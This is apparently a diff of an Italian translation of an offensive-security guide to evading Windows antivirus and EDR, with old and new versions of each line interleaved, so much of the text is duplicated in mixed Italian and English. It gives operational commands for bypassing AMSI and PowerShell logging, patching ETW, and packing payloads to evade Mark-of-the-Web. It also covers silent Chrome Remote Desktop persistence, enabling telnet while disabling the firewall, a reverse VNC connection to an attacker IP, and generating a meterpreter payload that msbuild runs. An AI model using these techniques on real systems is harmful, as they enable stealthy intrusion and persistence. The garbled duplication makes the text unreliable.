Se usi PowerShell versione 2, AMSI non verrà caricato, quindi puoi eseguire i tuoi script senza essere scansionato da AMSI. Puoi fare così:
|
||||
```bash
|
||||
powershell.exe -version 2
|
||||
```
|
||||
## Registrazione PowerShell
|
||||
## PS Logging
|
||||
|
||||
La registrazione di PowerShell è una funzionalità che permette di loggare tutti i comandi PowerShell eseguiti su un sistema. Questo può essere utile per auditing e risoluzione dei problemi, ma può anche rappresentare un **problema per gli attaccanti che vogliono eludere il rilevamento**.
|
||||
PowerShell logging è una feature che consente di registrare tutti i comandi PowerShell eseguiti su un sistema. Questo può essere utile per auditing e troubleshooting, ma può anche essere un **problema per gli attaccanti che vogliono evadere il rilevamento**.
|
||||
|
||||
Per bypassare la registrazione di PowerShell, puoi usare le seguenti tecniche:
|
||||
Per bypassare PowerShell logging, puoi usare le seguenti tecniche:
|
||||
|
||||
- **Disable PowerShell Transcription and Module Logging**: Per questo scopo puoi usare uno strumento come [https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs](https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs).
|
||||
- **Use Powershell version 2**: Se usi PowerShell versione 2, AMSI non verrà caricato, quindi puoi eseguire i tuoi script senza essere scansionati da AMSI. Puoi fare così: `powershell.exe -version 2`
|
||||
- **Use an Unmanaged Powershell Session**: Usa [https://github.com/leechristensen/UnmanagedPowerShell](https://github.com/leechristensen/UnmanagedPowerShell) per spawnare una sessione powershell senza difese (è quello che usa `powerpick` di Cobal Strike).
|
||||
- **Disable PowerShell Transcription and Module Logging**: Puoi usare uno strumento come [https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs](https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs) per questo scopo.
|
||||
- **Use Powershell version 2**: Se usi PowerShell version 2, AMSI non verrà caricato, quindi puoi eseguire i tuoi script senza essere scansionato da AMSI. Puoi farlo: `powershell.exe -version 2`
|
||||
- **Use an Unmanaged Powershell Session**: Usa [https://github.com/leechristensen/UnmanagedPowerShell](https://github.com/leechristensen/UnmanagedPowerShell) per spawnare una powershell senza difese (questo è ciò che `powerpick` da Cobal Strike usa).
|
||||
|
||||
|
||||
## Offuscamento
|
||||
## Obfuscation
|
||||
|
||||
> [!TIP]
|
||||
> Diverse tecniche di offuscamento si basano sulla cifratura dei dati, il che aumenta l'entropia del binario e rende più facile agli AV e agli EDR rilevarlo. Fai attenzione e valuta di applicare la cifratura solo a sezioni specifiche del tuo codice che sono sensibili o devono essere nascoste.
|
||||
> Alcune tecniche di obfuscation si basano sulla cifratura dei dati, il che aumenterà l'entropia del binario rendendo più facile il rilevamento da parte di AVs e EDRs. Fai attenzione a questo e valuta di applicare la cifratura solo a sezioni specifiche del codice che siano sensibili o che debbano essere nascoste.
|
||||
|
||||
### Deoffuscazione di binari .NET protetti da ConfuserEx
|
||||
### Deobfuscating ConfuserEx-Protected .NET Binaries
|
||||
|
||||
Quando si analizza malware che usa ConfuserEx 2 (o fork commerciali) è comune incontrare diversi strati di protezione che bloccheranno i decompilatori e le sandbox. Il flusso di lavoro qui sotto **ripristina in modo affidabile un IL quasi originale** che può successivamente essere decompilato in C# con strumenti come dnSpy o ILSpy.
|
||||
Quando si analizza malware che usa ConfuserEx 2 (o fork commerciali) è comune imbattersi in diversi livelli di protezione che bloccano decompilatori e sandboxes. Il workflow qui sotto **ripristina in modo affidabile un IL quasi-originale** che può successivamente essere decompilato in C# con strumenti come dnSpy o ILSpy.
|
||||
|
||||
1. Rimozione anti-tampering – ConfuserEx cripta ogni *method body* e lo decripta all'interno del costruttore statico del modulo (`<Module>.cctor`). Questo inoltre patcha il checksum del PE quindi qualsiasi modifica farà crashare il binario. Usa **AntiTamperKiller** per individuare le tabelle dei metadata criptate, recuperare le chiavi XOR e riscrivere un assembly pulito:
|
||||
1. Anti-tampering removal – ConfuserEx cripta ogni *method body* e lo decripta all'interno del costruttore statico del *module* (`<Module>.cctor`). Questo modifica anche il checksum del PE per cui qualsiasi modifica farà crashare il binario. Usa **AntiTamperKiller** per individuare le tabelle di metadata criptate, recuperare le chiavi XOR e riscrivere un assembly pulito:
|
||||
```bash
|
||||
# https://github.com/wwh1004/AntiTamperKiller
|
||||
python AntiTamperKiller.py Confused.exe Confused.clean.exe
|
||||
```
|
||||
L'output contiene i 6 parametri anti-tamper (`key0-key3`, `nameHash`, `internKey`) che possono essere utili quando si costruisce il proprio unpacker.
|
||||
L'output contiene i 6 parametri anti-tamper (`key0-key3`, `nameHash`, `internKey`) che possono essere utili quando si sviluppa il proprio unpacker.
|
||||
|
||||
2. Ripristino di simboli / control-flow – passa il file *clean* a **de4dot-cex** (un fork di de4dot consapevole di ConfuserEx).
|
||||
2. Symbol / control-flow recovery – fornisci il file *clean* a **de4dot-cex** (un fork di de4dot compatibile con ConfuserEx).
|
||||
```bash
|
||||
de4dot-cex -p crx Confused.clean.exe -o Confused.de4dot.exe
|
||||
```
|
||||
Opzioni:
|
||||
• `-p crx` – seleziona il profilo ConfuserEx 2
|
||||
• de4dot annullerà il control-flow flattening, ripristinerà namespace, classi e nomi di variabili originali e decritterà le stringhe costanti.
|
||||
Flags:
|
||||
• `-p crx` – seleziona il profilo ConfuserEx 2
|
||||
• de4dot annullerà il control-flow flattening, ripristinerà namespace, classi e nomi di variabili originali e decrypterà le stringhe costanti.
|
||||
|
||||
3. Rimozione di proxy-call – ConfuserEx sostituisce le chiamate dirette ai metodi con wrapper leggeri (aka *proxy calls*) per rompere ulteriormente la decompilazione. Rimuovili con **ProxyCall-Remover**:
|
||||
3. Proxy-call stripping – ConfuserEx sostituisce le chiamate dirette ai metodi con wrapper leggeri (a.k.a *proxy calls*) per complicare ulteriormente la decompilazione. Rimuovile con **ProxyCall-Remover**:
|
||||
```bash
|
||||
ProxyCall-Remover.exe Confused.de4dot.exe Confused.fixed.exe
|
||||
```
|
||||
Dopo questo passaggio dovresti osservare API .NET normali come `Convert.FromBase64String` o `AES.Create()` invece di funzioni wrapper opache (`Class8.smethod_10`, …).
|
||||
Dopo questo step dovresti osservare API .NET normali come `Convert.FromBase64String` o `AES.Create()` invece di funzioni wrapper opache (`Class8.smethod_10`, …).
|
||||
|
||||
4. Pulizia manuale – esegui il binario risultante in dnSpy, cerca grandi blob Base64 o l'uso di `RijndaelManaged`/`TripleDESCryptoServiceProvider` per individuare il payload *reale*. Spesso il malware lo memorizza come un array di byte codificato TLV inizializzato dentro `<Module>.byte_0`.
|
||||
4. Manual clean-up – esegui il binario risultante in dnSpy, cerca grandi blob Base64 o l'uso di `RijndaelManaged`/`TripleDESCryptoServiceProvider` per localizzare il payload *reale*. Spesso il malware lo memorizza come un array di byte codificato TLV inizializzato dentro `<Module>.byte_0`.
|
||||
|
||||
La catena sopra ripristina il flusso di esecuzione **senza** la necessità di eseguire il campione malevolo – utile quando si lavora su una workstation offline.
|
||||
La catena sopra ripristina il flusso di esecuzione **senza** la necessità di eseguire il sample malevolo – utile quando si lavora su una workstation offline.
|
||||
|
||||
🛈 ConfuserEx produce un attributo custom chiamato `ConfusedByAttribute` che può essere usato come IOC per triage automatico dei sample.
|
||||
> 🛈 ConfuserEx genera un attributo custom chiamato `ConfusedByAttribute` che può essere usato come IOC per triage automatico dei sample.
|
||||
|
||||
#### Comando in una riga
|
||||
#### One-liner
|
||||
```bash
|
||||
autotok.sh Confused.exe # wrapper that performs the 3 steps above sequentially
|
||||
```
|
||||
---
|
||||
|
||||
- [**InvisibilityCloak**](https://github.com/h4wkst3r/InvisibilityCloak)**: C# obfuscator**
|
||||
- [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): Lo scopo di questo progetto è fornire un fork open-source della [LLVM](http://www.llvm.org/) compilation suite in grado di offrire una maggiore sicurezza del software tramite [code obfuscation](<http://en.wikipedia.org/wiki/Obfuscation_(software)>) e protezione contro la manomissione.
|
||||
- [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator dimostra come usare il linguaggio `C++11/14` per generare, a compile time, obfuscated code senza usare strumenti esterni e senza modificare il compilatore.
|
||||
- [**obfy**](https://github.com/fritzone/obfy): Aggiunge un livello di operazioni obfuscated generate dal framework di metaprogrammazione template di C++ che renderà la vita di chi vuole crackare l'applicazione un po' più difficile.
|
||||
- [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz è un x64 binary obfuscator in grado di offuscare diversi file PE, inclusi: .exe, .dll, .sys
|
||||
- [**metame**](https://github.com/a0rtega/metame): Metame è un semplice motore di metamorphic code per eseguibili arbitrari.
|
||||
- [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator è un framework di code obfuscation a grana fine per linguaggi supportati da LLVM che utilizza ROP (return-oriented programming). ROPfuscator offusca un programma a livello di codice assembly trasformando istruzioni regolari in catene ROP, ostacolando la nostra concezione naturale del normale flusso di controllo.
|
||||
- [**InvisibilityCloak**](https://github.com/h4wkst3r/InvisibilityCloak)**: Offuscatore C#**
|
||||
- [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): Lo scopo di questo progetto è fornire un fork open-source della suite di compilazione [LLVM](http://www.llvm.org/) in grado di incrementare la sicurezza del software tramite [code obfuscation](<http://en.wikipedia.org/wiki/Obfuscation_(software)>) e protezione contro la manomissione.
|
||||
- [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator dimostra come usare il linguaggio `C++11/14` per generare, a tempo di compilazione, codice offuscato senza utilizzare strumenti esterni e senza modificare il compilatore.
|
||||
- [**obfy**](https://github.com/fritzone/obfy): Aggiunge un livello di operazioni offuscate generate dal framework di metaprogrammazione con template C++, che renderà un po' più difficile la vita a chi vuole crackare l'applicazione.
|
||||
- [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz è un offuscatore binario x64 in grado di offuscare diversi file pe, inclusi: .exe, .dll, .sys
|
||||
- [**metame**](https://github.com/a0rtega/metame): Metame è un semplice motore di codice metamorfica per eseguibili arbitrari.
|
||||
- [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator è un framework di offuscamento del codice a grana fine per i linguaggi supportati da LLVM che utilizza ROP (return-oriented programming). ROPfuscator offusca un programma a livello di codice assembly trasformando istruzioni normali in catene ROP, ostacolando la nostra concezione naturale del normale flusso di controllo.
|
||||
- [**Nimcrypt**](https://github.com/icyguider/nimcrypt): Nimcrypt è un .NET PE Crypter scritto in Nim
|
||||
- [**inceptor**](https://github.com/klezVirus/inceptor)**:** Inceptor è in grado di convertire EXE/DLL esistenti in shellcode e poi caricarli
|
||||
|
||||
## SmartScreen & MoTW
|
||||
|
||||
Potresti aver visto questa schermata quando scarichi alcuni eseguibili da Internet e li esegui.
|
||||
Potresti aver visto questa schermata quando scarichi degli eseguibili da Internet e li esegui.
|
||||
|
||||
Microsoft Defender SmartScreen è un meccanismo di sicurezza pensato per proteggere l'utente finale dall'esecuzione di applicazioni potenzialmente dannose.
|
||||
|
||||
<figure><img src="../images/image (664).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
SmartScreen funziona principalmente con un approccio basato sulla reputazione; ciò significa che applicazioni scaricate raramente attiveranno SmartScreen, avvisando e impedendo all'utente finale di eseguire il file (anche se il file può comunque essere eseguito cliccando More Info -> Run anyway).
|
||||
SmartScreen funziona principalmente con un approccio basato sulla reputazione: le applicazioni raramente scaricate attiveranno SmartScreen, avvisando e impedendo all'utente finale di eseguire il file (tuttavia il file può comunque essere eseguito cliccando More Info -> Run anyway).
|
||||
|
||||
**MoTW** (Mark of The Web) è un [NTFS Alternate Data Stream](<https://en.wikipedia.org/wiki/NTFS#Alternate_data_stream_(ADS)>) con il nome Zone.Identifier che viene creato automaticamente al download di file da Internet, insieme all'URL da cui sono stati scaricati.
|
||||
|
||||
<figure><img src="../images/image (237).png" alt=""><figcaption><p>Controllo dell'ADS Zone.Identifier per un file scaricato da Internet.</p></figcaption></figure>
|
||||
<figure><img src="../images/image (237).png" alt=""><figcaption><p>Controllo del Zone.Identifier ADS per un file scaricato da Internet.</p></figcaption></figure>
|
||||
|
||||
> [!TIP]
|
||||
> È importante notare che gli eseguibili firmati con un certificato di firma **fidato** **non attiveranno SmartScreen**.
|
||||
> È importante notare che gli eseguibili firmati con un certificato di firma **attendibile** **non attiveranno SmartScreen**.
|
||||
|
||||
Un modo molto efficace per impedire ai tuoi payloads di ottenere il Mark of The Web è confezionarli all'interno di un contenitore, come un ISO. Questo avviene perché Mark-of-the-Web (MOTW) **non può** essere applicato ai volumi **non NTFS**.
|
||||
Un modo molto efficace per impedire che i tuoi payloads ricevano il Mark of The Web è impacchettarli all'interno di un contenitore, come un ISO. Questo accade perché Mark-of-the-Web (MOTW) **non può** essere applicato ai volumi **non NTFS**.
|
||||
|
||||
<figure><img src="../images/image (640).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**PackMyPayload**](https://github.com/mgeeky/PackMyPayload/) è uno strumento che confeziona payloads in contenitori di output per eludere il Mark-of-the-Web.
|
||||
[**PackMyPayload**](https://github.com/mgeeky/PackMyPayload/) è uno strumento che impacchetta i payloads in contenitori di output per eludere Mark-of-the-Web.
|
||||
|
||||
Example usage:
|
||||
Esempio d'uso:
|
||||
```bash
|
||||
PS C:\Tools\PackMyPayload> python .\PackMyPayload.py .\TotallyLegitApp.exe container.iso
|
||||
|
||||
@ -389,49 +391,49 @@ Here is a demo for bypassing SmartScreen by packaging payloads inside ISO files
|
||||
|
||||
Event Tracing for Windows (ETW) è un potente meccanismo di logging in Windows che permette ad applicazioni e componenti di sistema di **registrare eventi**. Tuttavia, può anche essere usato dai prodotti di sicurezza per monitorare e rilevare attività malevole.
|
||||
|
||||
Simile a come viene disabilitato (bypassed) AMSI, è anche possibile far sì che la funzione user space **`EtwEventWrite`** ritorni immediatamente senza registrare alcun evento. Questo si ottiene patchando la funzione in memoria per farla ritornare immediatamente, disabilitando di fatto il logging ETW per quel processo.
|
||||
Simile a come AMSI viene disabilitato (bypassato), è anche possibile far sì che la funzione **`EtwEventWrite`** del processo in user space ritorni immediatamente senza registrare eventi. Questo si ottiene patchando la funzione in memoria per farla ritornare immediatamente, disabilitando di fatto il logging ETW per quel processo.
|
||||
|
||||
Puoi trovare più informazioni in **[https://blog.xpnsec.com/hiding-your-dotnet-etw/](https://blog.xpnsec.com/hiding-your-dotnet-etw/) and [https://github.com/repnz/etw-providers-docs/](https://github.com/repnz/etw-providers-docs/)**.
|
||||
Puoi trovare maggiori informazioni in **[https://blog.xpnsec.com/hiding-your-dotnet-etw/](https://blog.xpnsec.com/hiding-your-dotnet-etw/) and [https://github.com/repnz/etw-providers-docs/](https://github.com/repnz/etw-providers-docs/)**.
|
||||
|
||||
|
||||
## C# Assembly Reflection
|
||||
|
||||
Caricare binari C# in memoria è noto da tempo ed è ancora un ottimo modo per eseguire i tuoi strumenti di post-exploitation senza essere rilevato dall'AV.
|
||||
Loading C# binaries in memory has been known for quite some time and it's still a very great way for running your post-exploitation tools without getting caught by AV.
|
||||
|
||||
Poiché il payload verrà caricato direttamente in memoria senza toccare il disco, dovremo preoccuparci solo di patchare AMSI per l'intero processo.
|
||||
Since the payload will get loaded directly into memory without touching disk, we will only have to worry about patching AMSI for the whole process.
|
||||
|
||||
La maggior parte dei framework C2 (sliver, Covenant, metasploit, CobaltStrike, Havoc, etc.) fornisce già la possibilità di eseguire assembly C# direttamente in memoria, ma ci sono diversi modi per farlo:
|
||||
Most C2 frameworks (sliver, Covenant, metasploit, CobaltStrike, Havoc, etc.) already provide the ability to execute C# assemblies directly in memory, but there are different ways of doing so:
|
||||
|
||||
- **Fork\&Run**
|
||||
|
||||
Coinvolge la **creazione di un nuovo processo sacrificial**, l'iniezione del tuo codice malevolo di post-exploitation in quel nuovo processo, l'esecuzione del codice malevolo e, quando finito, la terminazione del nuovo processo. Questo ha sia vantaggi che svantaggi. Il vantaggio del metodo fork and run è che l'esecuzione avviene **fuori** dal processo del nostro Beacon implant. Ciò significa che se qualcosa nella nostra azione di post-exploitation va storto o viene catturato, c'è una **probabilità molto maggiore** che il nostro **implant sopravviva.** Lo svantaggio è che hai una **maggiore probabilità** di essere rilevato da **Behavioural Detections**.
|
||||
It involves **creare un nuovo processo sacrificabile**, iniettare il tuo codice malevolo post-exploitation in quel nuovo processo, eseguire il codice malevolo e, una volta terminato, terminare il processo. Questo ha sia vantaggi che svantaggi. Il vantaggio del metodo fork and run è che l'esecuzione avviene **al di fuori** del nostro Beacon implant process. Questo significa che se qualcosa nelle nostre azioni post-exploitation dovesse andare storto o venire rilevato, c'è una **probabilità molto più alta** che il nostro **implant sopravviva.** Lo svantaggio è che si ha una **probabilità maggiore** di essere rilevati da **Behavioural Detections**.
|
||||
|
||||
<figure><img src="../images/image (215).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
- **Inline**
|
||||
|
||||
Si tratta di iniettare il codice malevolo di post-exploitation **nel proprio processo**. In questo modo puoi evitare di creare un nuovo processo e farlo scansionare dall'AV, ma lo svantaggio è che se qualcosa va storto con l'esecuzione del payload, c'è una **probabilità molto maggiore** di **perdere il beacon** perché potrebbe andare in crash.
|
||||
Si tratta di iniettare il codice malevolo post-exploitation **nel suo stesso processo**. In questo modo puoi evitare di creare un nuovo processo che verrebbe scansionato dall'AV, ma lo svantaggio è che se qualcosa va storto durante l'esecuzione del payload c'è una **probabilità molto più alta** di **perdere il tuo beacon** poiché potrebbe andare in crash.
|
||||
|
||||
<figure><img src="../images/image (1136).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!TIP]
|
||||
> Se vuoi approfondire il caricamento di Assembly C#, dai un'occhiata a questo articolo [https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/](https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/) e al loro InlineExecute-Assembly BOF ([https://github.com/xforcered/InlineExecute-Assembly](https://github.com/xforcered/InlineExecute-Assembly))
|
||||
> Se vuoi leggere di più sul loading di C# Assembly, dai un'occhiata a questo articolo [https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/](https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/) e al loro InlineExecute-Assembly BOF ([https://github.com/xforcered/InlineExecute-Assembly](https://github.com/xforcered/InlineExecute-Assembly))
|
||||
|
||||
Puoi anche caricare C# Assemblies **da PowerShell**, guarda [Invoke-SharpLoader](https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader) e il video di S3cur3th1sSh1t (https://www.youtube.com/watch?v=oe11Q-3Akuk).
|
||||
You can also load C# Assemblies **from PowerShell**, check out [Invoke-SharpLoader](https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader) and [S3cur3th1sSh1t's video](https://www.youtube.com/watch?v=oe11Q-3Akuk).
|
||||
|
||||
## Using Other Programming Languages
|
||||
|
||||
Come proposto in [**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins), è possibile eseguire codice malevolo usando altri linguaggi dando alla macchina compromessa accesso **all'ambiente dell'interprete installato sulla Attacker Controlled SMB share**.
|
||||
As proposed in [**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins), it's possible to execute malicious code using other languages by giving the compromised machine access **to the interpreter environment installed on the Attacker Controlled SMB share**.
|
||||
|
||||
Consentendo l'accesso agli Interpreter Binaries e all'ambiente sulla SMB share puoi **eseguire codice arbitrario in questi linguaggi all'interno della memoria** della macchina compromessa.
|
||||
Permettendo l'accesso ai binari dell'interprete e all'ambiente sulla condivisione SMB controllata dall'attaccante, puoi **eseguire codice arbitrario in queste lingue in memoria** della macchina compromessa.
|
||||
|
||||
Il repo indica: Defender continua a scansionare gli script ma sfruttando Go, Java, PHP ecc. abbiamo **più flessibilità per bypassare firme statiche**. I test con script reverse shell casuali non offuscati in questi linguaggi si sono dimostrati efficaci.
|
||||
Il repo indica: Defender continua a scansionare gli script ma utilizzando Go, Java, PHP ecc. abbiamo **più flessibilità per bypassare le signature statiche**. I test con script di reverse shell non offuscati in questi linguaggi si sono rivelati efficaci.
|
||||
|
||||
## TokenStomping
|
||||
|
||||
Token stomping è una tecnica che permette a un attaccante di **manipolare il token di accesso o un prodotto di sicurezza come un EDR o AV**, consentendo di ridurne i privilegi in modo che il processo non venga terminato ma non abbia i permessi per controllare attività malevole.
|
||||
|
||||
Per prevenire questo, Windows potrebbe **impedire ai processi esterni** di ottenere handle sui token dei processi di sicurezza.
|
||||
Per prevenire questo Windows potrebbe **impedire ai processi esterni** di ottenere handle sui token dei processi di sicurezza.
|
||||
|
||||
- [**https://github.com/pwn1sher/KillDefender/**](https://github.com/pwn1sher/KillDefender/)
|
||||
- [**https://github.com/MartinIngesen/TokenStomp**](https://github.com/MartinIngesen/TokenStomp)
|
||||
@ -441,27 +443,27 @@ Per prevenire questo, Windows potrebbe **impedire ai processi esterni** di otten
|
||||
|
||||
### Chrome Remote Desktop
|
||||
|
||||
Come descritto in [**this blog post**](https://trustedsec.com/blog/abusing-chrome-remote-desktop-on-red-team-operations-a-practical-guide), è facile semplicemente distribuire Chrome Remote Desktop sul PC della vittima e poi usarlo per prenderne il controllo e mantenere la persistenza:
|
||||
As described in [**this blog post**](https://trustedsec.com/blog/abusing-chrome-remote-desktop-on-red-team-operations-a-practical-guide), è facile semplicemente distribuire Chrome Remote Desktop sul PC della vittima e poi usarlo per prenderne il controllo e mantenere la persistenza:
|
||||
1. Download da https://remotedesktop.google.com/, clicca su "Set up via SSH", e poi clicca sul file MSI per Windows per scaricare l'MSI.
|
||||
2. Esegui l'installer silenziosamente sulla vittima (richiede privilegi amministrativi): `msiexec /i chromeremotedesktophost.msi /qn`
|
||||
3. Torna alla pagina di Chrome Remote Desktop e clicca next. Il wizard ti chiederà di autorizzare; clicca il pulsante Authorize per continuare.
|
||||
4. Esegui il parametro fornito con alcune modifiche: `"%PROGRAMFILES(X86)%\Google\Chrome Remote Desktop\CurrentVersion\remoting_start_host.exe" --code="YOUR_UNIQUE_CODE" --redirect-url="https://remotedesktop.google.com/_/oauthredirect" --name=%COMPUTERNAME% --pin=111111` (Nota il parametro --pin che permette di impostare il pin senza usare la GUI).
|
||||
2. Esegui l'installer silenziosamente sulla vittima (richiede privilegi admin): `msiexec /i chromeremotedesktophost.msi /qn`
|
||||
3. Torna alla pagina di Chrome Remote Desktop e clicca next. Il wizard chiederà di autorizzare; clicca il pulsante Authorize per continuare.
|
||||
4. Esegui il parametro fornito con alcuni aggiustamenti: `"%PROGRAMFILES(X86)%\Google\Chrome Remote Desktop\CurrentVersion\remoting_start_host.exe" --code="YOUR_UNIQUE_CODE" --redirect-url="https://remotedesktop.google.com/_/oauthredirect" --name=%COMPUTERNAME% --pin=111111` (Nota il parametro pin che permette di impostare il pin senza usare l'interfaccia grafica).
|
||||
|
||||
|
||||
## Advanced Evasion
|
||||
|
||||
L'evasion è un argomento molto complesso, a volte devi tenere conto di molteplici fonti di telemetria in un singolo sistema, quindi è praticamente impossibile rimanere completamente non rilevati in ambienti maturi.
|
||||
L'evasion è un argomento molto complicato, a volte bisogna tenere conto di molteplici sorgenti di telemetria in un singolo sistema, quindi è praticamente impossibile rimanere completamente non rilevati in ambienti maturi.
|
||||
|
||||
Ogni ambiente contro cui opererai avrà i propri punti di forza e di debolezza.
|
||||
Ogni ambiente contro cui ti confronti avrà i propri punti di forza e di debolezza.
|
||||
|
||||
Ti consiglio vivamente di guardare questo intervento di [@ATTL4S](https://twitter.com/DaniLJ94), per avere una base sulle tecniche di Advanced Evasion.
|
||||
Ti consiglio vivamente di guardare questo talk di [@ATTL4S](https://twitter.com/DaniLJ94), per ottenere una base sulle tecniche di Advanced Evasion.
|
||||
|
||||
|
||||
{{#ref}}
|
||||
https://vimeo.com/502507556?embedded=true&owner=32913914&source=vimeo_logo
|
||||
{{#endref}}
|
||||
|
||||
Questo è anche un altro ottimo intervento di [@mariuszbit](https://twitter.com/mariuszbit) su Evasion in Depth.
|
||||
Questo è anche un altro ottimo talk di [@mariuszbit](https://twitter.com/mariuszbit) riguardo Evasion in Depth.
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -472,27 +474,27 @@ https://www.youtube.com/watch?v=IbA7Ung39o4
|
||||
|
||||
### **Check which parts Defender finds as malicious**
|
||||
|
||||
Puoi usare [**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck) che **rimuoverà parti del binario** finché **non scopre quale parte Defender** considera malevola e te la segnala.\
|
||||
Un altro strumento che fa la **stessa cosa è** [**avred**](https://github.com/dobin/avred) con un servizio web aperto disponibile su [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/)
|
||||
Puoi usare [**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck) che **rimuoverà parti del binario** finché non **scopre quale parte Defender** ritiene dannosa e te la suddividerà.\
|
||||
Un altro tool che fa **la stessa cosa è** [**avred**](https://github.com/dobin/avred) con un servizio web disponibile su [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/)
|
||||
|
||||
### **Telnet Server**
|
||||
|
||||
Fino a Windows10, tutte le versioni di Windows includevano un **Telnet server** che potevi installare (come amministratore) eseguendo:
|
||||
Fino a Windows10, tutte le versioni di Windows includevano un **Telnet server** che potevi installare (come amministratore) facendo:
|
||||
```bash
|
||||
pkgmgr /iu:"TelnetServer" /quiet
|
||||
```
|
||||
Fallo **avviare** all'avvio del sistema e **eseguilo** ora:
|
||||
Fallo in modo che si **avvii** all'avvio del sistema e **eseguilo** ora:
|
||||
```bash
|
||||
sc config TlntSVR start= auto obj= localsystem
|
||||
```
|
||||
**Cambia la porta telnet** (stealth) e disabilita il firewall:
|
||||
**Cambia telnet port** (stealth) e disabilita il firewall:
|
||||
```
|
||||
tlntadmn config port=80
|
||||
netsh advfirewall set allprofiles state off
|
||||
```
|
||||
### UltraVNC
|
||||
|
||||
Download it from: [http://www.uvnc.com/downloads/ultravnc.html](http://www.uvnc.com/downloads/ultravnc.html) (vuoi i bin downloads, non il setup)
|
||||
Download it from: [http://www.uvnc.com/downloads/ultravnc.html](http://www.uvnc.com/downloads/ultravnc.html) (prendi i download binari, non il setup)
|
||||
|
||||
**ON THE HOST**: Esegui _**winvnc.exe**_ e configura il server:
|
||||
|
||||
@ -500,21 +502,21 @@ Download it from: [http://www.uvnc.com/downloads/ultravnc.html](http://www.uvnc.
|
||||
- Imposta una password in _VNC Password_
|
||||
- Imposta una password in _View-Only Password_
|
||||
|
||||
Poi, sposta il binario _**winvnc.exe**_ e il file **appena** creato _**UltraVNC.ini**_ all'interno della **victim**
|
||||
Then, move the binary _**winvnc.exe**_ and **newly** created file _**UltraVNC.ini**_ inside the **victim**
|
||||
|
||||
#### **Reverse connection**
|
||||
|
||||
L'**attacker** dovrebbe **eseguire inside** il suo **host** il binario `vncviewer.exe -listen 5900` in modo da essere **preparato** a catturare una **reverse VNC connection**. Poi, inside la **victim**: Avvia il demone winvnc `winvnc.exe -run` e esegui `winwnc.exe [-autoreconnect] -connect <attacker_ip>::5900`
|
||||
The **attacker** should **execute inside** his **host** the binary `vncviewer.exe -listen 5900` so it will be **prepared** to catch a reverse **VNC connection**. Then, inside the **victim**: Start the winvnc daemon `winvnc.exe -run` and run `winwnc.exe [-autoreconnect] -connect <attacker_ip>::5900`
|
||||
|
||||
**ATTENZIONE:** Per mantenere la stealth devi evitare di fare le seguenti cose
|
||||
ATTENZIONE: Per mantenere la stealth non devi fare alcune cose
|
||||
|
||||
- Non avviare `winvnc` se è già in esecuzione o innescherai un [popup](https://i.imgur.com/1SROTTl.png). Verifica se è in esecuzione con `tasklist | findstr winvnc`
|
||||
- Non avviare `winvnc` se è già in esecuzione o farai apparire un [popup](https://i.imgur.com/1SROTTl.png). Controlla se è in esecuzione con `tasklist | findstr winvnc`
|
||||
- Non avviare `winvnc` senza `UltraVNC.ini` nella stessa directory o farà aprire [la finestra di configurazione](https://i.imgur.com/rfMQWcf.png)
|
||||
- Non eseguire `winvnc -h` per l'aiuto o innescherai un [popup](https://i.imgur.com/oc18wcu.png)
|
||||
- Non eseguire `winvnc -h` per l'aiuto o farai apparire un [popup](https://i.imgur.com/oc18wcu.png)
|
||||
|
||||
### GreatSCT
|
||||
|
||||
Scaricalo da: [https://github.com/GreatSCT/GreatSCT](https://github.com/GreatSCT/GreatSCT)
|
||||
Download it from: [https://github.com/GreatSCT/GreatSCT](https://github.com/GreatSCT/GreatSCT)
|
||||
```
|
||||
git clone https://github.com/GreatSCT/GreatSCT.git
|
||||
cd GreatSCT/setup/
|
||||
@ -532,7 +534,7 @@ sel lport 4444
|
||||
generate #payload is the default name
|
||||
#This will generate a meterpreter xml and a rcc file for msfconsole
|
||||
```
|
||||
Ora **start the lister** con `msfconsole -r file.rc` e **esegui** il **xml payload** con:
|
||||
Ora **avvia il lister** con `msfconsole -r file.rc` e **esegui** il **xml payload** con:
|
||||
```
|
||||
C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe payload.xml
|
||||
```
|
||||
@ -542,7 +544,7 @@ C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe payload.xml
|
||||
|
||||
https://medium.com/@Bank_Security/undetectable-c-c-reverse-shells-fab4c0ec4f15
|
||||
|
||||
#### Prima C# Revershell
|
||||
#### Primo C# Revershell
|
||||
|
||||
Compilalo con:
|
||||
```
|
||||
@ -633,7 +635,7 @@ C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe RE
|
||||
|
||||
[REV.shell: https://gist.github.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639](https://gist.github.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639)
|
||||
|
||||
Download automatico ed esecuzione:
|
||||
Download ed esecuzione automatici:
|
||||
